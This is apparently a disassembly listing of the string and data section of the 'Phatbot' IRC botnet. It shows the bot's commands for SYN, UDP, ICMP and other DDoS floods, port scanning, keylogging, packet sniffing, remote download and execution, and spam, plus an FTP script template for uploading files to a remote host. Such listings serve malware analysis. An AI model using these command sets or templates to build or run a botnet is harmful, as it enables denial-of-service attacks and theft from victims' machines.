		align 4
dword_429D48	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+7073o
		dd 25203A29h, 73h
dword_429D64	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+7004o
		dd 203A2973h, 7325h
dword_429D80	dd 45444F4Dh, 732520h	; DATA XREF: sub_401ACD+6FA9o
dword_429D88	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6F79o
		dd 203A2973h, 7325h
dword_429DA4	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F00o
dword_429DB0	dd 0A0D7325h, 0		; DATA XREF: sub_401ACD+6ECEo
					; sub_401ACD+6F57o ...
dword_429DB8	dd 54524150h, 732520h	; DATA XREF: sub_401ACD+6E95o
dword_429DC0	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E84o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_429DFC	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E15o
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 4
unk_429E28	db  2Dh	; -		; DATA XREF: sub_401ACD+6D85o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_429E64	db  2Dh	; -		; DATA XREF: sub_401ACD+6D1Ao
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_429E98	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408745o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRepeatNotAllow	db 'Repeat not allowed in command line: %s',0
		align 4
dword_429ECC	dd 234032Dh, 6E69616Dh,	202D0302h, 65706552h, 203A7461h
					; DATA XREF: sub_401ACD+6C3Do
		dd 7325h
dword_429EE4	dd 234032Dh, 6E69616Dh,	202D0302h, 616C6544h, 2E79h
					; DATA XREF: sub_401ACD:loc_408673o
dword_429EF8	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401ACD+6B62o
					; sub_401ACD+6C14o ...
dword_429F08	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD:loc_4085D0o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 10h
dword_429F50	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6AF9o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_429F8C	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6A8Ao
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+69E2o
		align 4
dword_429FC4	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+6980o
		dd 7325203Ah, 0
unk_429FE0	db  2Dh	; -		; DATA XREF: sub_401ACD+6975o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_42A004	db  2Dh	; -		; DATA XREF: sub_401ACD+68DBo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42A040	db  2Dh	; -		; DATA XREF: sub_401ACD+6865o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 10h
dword_42A070	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40826Bo
					; sub_401ACD:loc_409366o
unk_42A07C	db  2Dh	; -		; DATA XREF: sub_401ACD+6789o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 10h
unk_42A0A0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408234o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 4
unk_42A0D8	db  2Dh	; -		; DATA XREF: sub_401ACD+675Do
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A110	db  2Dh	; -		; DATA XREF: sub_401ACD+66EDo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42A13C	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+666Ao
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 4
dword_42A178	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+65FBo
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 4
unk_42A1A8	db  2Dh	; -		; DATA XREF: sub_401ACD+6582o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A1E0	db  2Dh	; -		; DATA XREF: sub_401ACD+6513o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_42A210	db  2Dh	; -		; DATA XREF: sub_401ACD+6489o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A248	db  2Dh	; -		; DATA XREF: sub_401ACD+641Ao
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A278	db  2Dh	; -		; DATA XREF: sub_401ACD+63A1o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A2B0	db  2Dh	; -		; DATA XREF: sub_401ACD+6332o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42A2EC	db  2Dh	; -		; DATA XREF: sub_401ACD+62B9o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
unk_42A32C	db  2Dh	; -		; DATA XREF: sub_401ACD+624Ao
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_42A358	db  2Dh	; -		; DATA XREF: sub_401ACD+617Bo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42A39C	db  2Dh	; -		; DATA XREF: sub_401ACD+610Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A3D8	db  2Dh	; -		; DATA XREF: sub_401ACD+600Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 4
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5F63o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5E86o
		align 4
dword_42A434	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5DF2o
					; sub_401ACD+715Ao
unk_42A440	db  2Dh	; -		; DATA XREF: sub_401ACD+5D8Eo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42A47C	db  2Dh	; -		; DATA XREF: sub_401ACD+5D1Fo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_42A4CC	db  2Dh	; -		; DATA XREF: sub_401ACD+5C88o
					; sub_401ACD+607Eo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_8	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42A504	db  2Dh	; -		; DATA XREF: sub_401ACD+5C19o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanStart	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 4
unk_42A56C	db  2Dh	; -		; DATA XREF: sub_401ACD+5AA3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start scan, no IP specified.',0
		align 10h
unk_42A5A0	db  2Dh	; -		; DATA XREF: sub_401ACD+5A46o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_10	db 'Failed to start scan, port is invalid.',0
		align 4
unk_42A5D4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4073F3o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42A604	db  2Dh	; -		; DATA XREF: sub_401ACD+591Fo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5906o
aSS_2		db '-s:%s',0            ; DATA XREF: sub_401ACD+58EFo
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+58CCo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 10h
aAb		db 'ab',0               ; DATA XREF: sub_401ACD+58A8o
					; ___:00411C61o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+5897o
		align 4
unk_42A674	db  2Dh	; -		; DATA XREF: sub_401ACD+584Do
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+582Ao
		align 4
unk_42A69C	db  2Dh	; -		; DATA XREF: sub_401ACD+57F4o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScanni	db 'Already %d scanning threads. Too many specified.',0
		align 4
unk_42A6DC	db  2Dh	; -		; DATA XREF: sub_401ACD+5797o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A714	db  2Dh	; -		; DATA XREF: sub_401ACD+572Co
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_42A75C	db  2Dh	; -		; DATA XREF: sub_401ACD+567Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 10h
unk_42A790	db  2Dh	; -		; DATA XREF: sub_401ACD+5647o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42A7C4	db  2Dh	; -		; DATA XREF: sub_401ACD+5623o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_42A7FC	db  2Dh	; -		; DATA XREF: sub_401ACD+5581o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5564o
		align 10h
unk_42A850	db  2Dh	; -		; DATA XREF: sub_401ACD+554Fo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_12	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A888	db  2Dh	; -		; DATA XREF: sub_401ACD+54E0o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 10h
unk_42A8D0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406EFFo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_42A908	db  2Dh	; -		; DATA XREF: sub_401ACD+5428o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_13	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A940	db  2Dh	; -		; DATA XREF: sub_401ACD+53AEo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+539Eo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+5397o
unk_42A984	db  2Dh	; -		; DATA XREF: sub_401ACD+52FCo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 10h
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+52ECo
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+52D5o
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+525Fo
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+524Co
unk_42A9CC	db  2Dh	; -		; DATA XREF: sub_401ACD+51FDo
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+5189o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401ACD+509Eo
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+5087o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+5070o
		align 4
aP:					; DATA XREF: sub_401ACD+5059o
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+5042o
		align 10h
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+502Bo
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+5014o
		align 10h
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4FFDo
aU:					; DATA XREF: sub_401ACD+4FE6o
					; ___:00437F88o
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4FCFo
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4FB8o
		align 4
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4F8Ao
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4F73o
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4F5Co
		align 4
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4F36o
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4F1Fo
		align 4
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4F08o
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4EF1o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4EDAo
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401ACD+4EC3o
		align 4
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4EACo
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4E95o
		align 4
aJpl10		db 'jpl10',0            ; DATA XREF: sub_401ACD+4E7Eo
		align 4
aJpldg10	db 'jpldg10',0          ; DATA XREF: sub_401ACD+4E67o
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4E50o
		align 4
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4E39o
		align 4
dword_42AB08	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4E2Co
aFailedToSta_14	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42AB44	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4DBDo
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4D3Ao
		align 4
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4D23o
					; sub_401ACD+52BDo
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4D0Co
		align 4
unk_42AB8C	db  2Dh	; -		; DATA XREF: sub_401ACD+4CFFo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_15	db '- Failed to start flood thread, error: <%d>.',0
		align 4
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4C28o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4C11o
					; sub_412B08:loc_412C34o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4BFAo
					; sub_412B08:loc_412C18o
		align 10h
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4BE3o
					; sub_412B08+F1o
		align 4
aC:					; DATA XREF: sub_401ACD+4BCCo
					; ___:00437C40o ...
		unicode	0, <c>,0
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4BB5o
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4B8Co
		align 10h
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4B75o
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4B5Eo
		align 10h
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4B47o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4B30o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+4B19o
		align 4
aE:					; DATA XREF: sub_401ACD+4B02o
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+4AEBo
aJp10		db 'jp]10',0            ; DATA XREF: sub_401ACD+4AD4o
		align 4
aJpDe100	db 'jp]de100',0         ; DATA XREF: sub_401ACD+4ABDo
		align 4
aDe		db 'de',0               ; DATA XREF: sub_401ACD+4AA6o
		align 4
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4A8Fo
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4A78o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4A61o
					; sub_401ACD+6BE7o
		align 10h
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4A4Ao
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+4A33o
aT3		db 't3',0               ; DATA XREF: sub_401ACD+4A1Co
		align 10h
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+4A05o
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+49EEo
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+49D7o
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+49C0o
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+49A9o
		align 10h
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+4992o
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+497Bo
		align 4
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+4964o
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+494Do
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+4936o
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+491Fo
		align 4
aM:					; DATA XREF: sub_401ACD+4908o
					; ___:00437C50o
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+48DAo
		align 4
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+48C3o
		align 4
aA:					; DATA XREF: sub_401ACD+48ACo
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401ACD+4895o
		align 10h
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+4867o
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4850o
		align 4
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+4839o
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+4822o
		align 4
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+480Bo
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+47E2o
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+47CDo
aCap		db 'cap',0              ; DATA XREF: sub_401ACD+47B8o
aCapture	db 'capture',0          ; DATA XREF: sub_401ACD+47A3o
unk_42AD1C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406265o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42AD38	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40625Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401ACD+475Eo
					; sub_409B12+5F0o
		align 4
unk_42AD64	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40621Eo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42AD84	db  2Dh	; -		; DATA XREF: sub_401ACD+4747o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
aUser		db 'user',0             ; DATA XREF: sub_401ACD+46D3o
		align 4
unk_42ADAC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406193o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42ADCC	db  2Dh	; -		; DATA XREF: sub_401ACD+46BCo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 10h
aShare		db 'share',0            ; DATA XREF: sub_401ACD+466Eo
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401ACD+462Ao
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+4610o
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+45F6o
		align 4
unk_42AE14	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4060B6o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42AE34	db  2Dh	; -		; DATA XREF: sub_401ACD+45DFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
aStart		db 'start',0            ; DATA XREF: sub_401ACD+45A9o
		align 10h
unk_42AE60	db  2Dh	; -		; DATA XREF: sub_401ACD+4577o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4553o
dword_42AE9C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4548o
aFailedToStartL	db '- Failed to start logging thread, error: <%d>.',0
		align 4
dword_42AED8	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+44D9o
aKeyLoggerActiv	db '- Key logger active.',0
		align 4
dword_42AEFC	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4457o
aAlreadyRunning	db '- Already running.',0
		align 4
dword_42AF1C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD:loc_405F0Eo
aNoKeyLoggerThr	db '- No key logger thread found.',0
		align 4
dword_42AF48	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4437o
aKeyLoggerStopp	db '- Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aFile		db 'file',0             ; DATA XREF: sub_401ACD+43F8o
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+43D6o
		align 4
dword_42AF94	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405E98o
aNoThreadFound_	db '- No thread found.',0
		align 4
dword_42AFB4	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43C1o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_42AFEC	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4391o
aFailedToSta_16	db '- Failed to start server, error: <%d>.',0
		align 10h
dword_42B020	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4344o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_42B04C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4334o
aAlreadyRunni_0	db '- Already running.',0
		align 4
aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4301o
		align 4
unk_42B074	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DC3o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoPhatbotSniff	db '- No Phatbot sniffer thread found.',0
unk_42B0A4	db  2Dh	; -		; DATA XREF: sub_401ACD+42ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotSniffer	db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42B0E4	db  2Dh	; -		; DATA XREF: sub_401ACD+42BCo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_17	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B120	db  2Dh	; -		; DATA XREF: sub_401ACD+424Do
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotPacketS	db '- Phatbot packet sniffer active.',0
		align 10h
unk_42B150	db  2Dh	; -		; DATA XREF: sub_401ACD+41E6o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_1	db '- Already running.',0
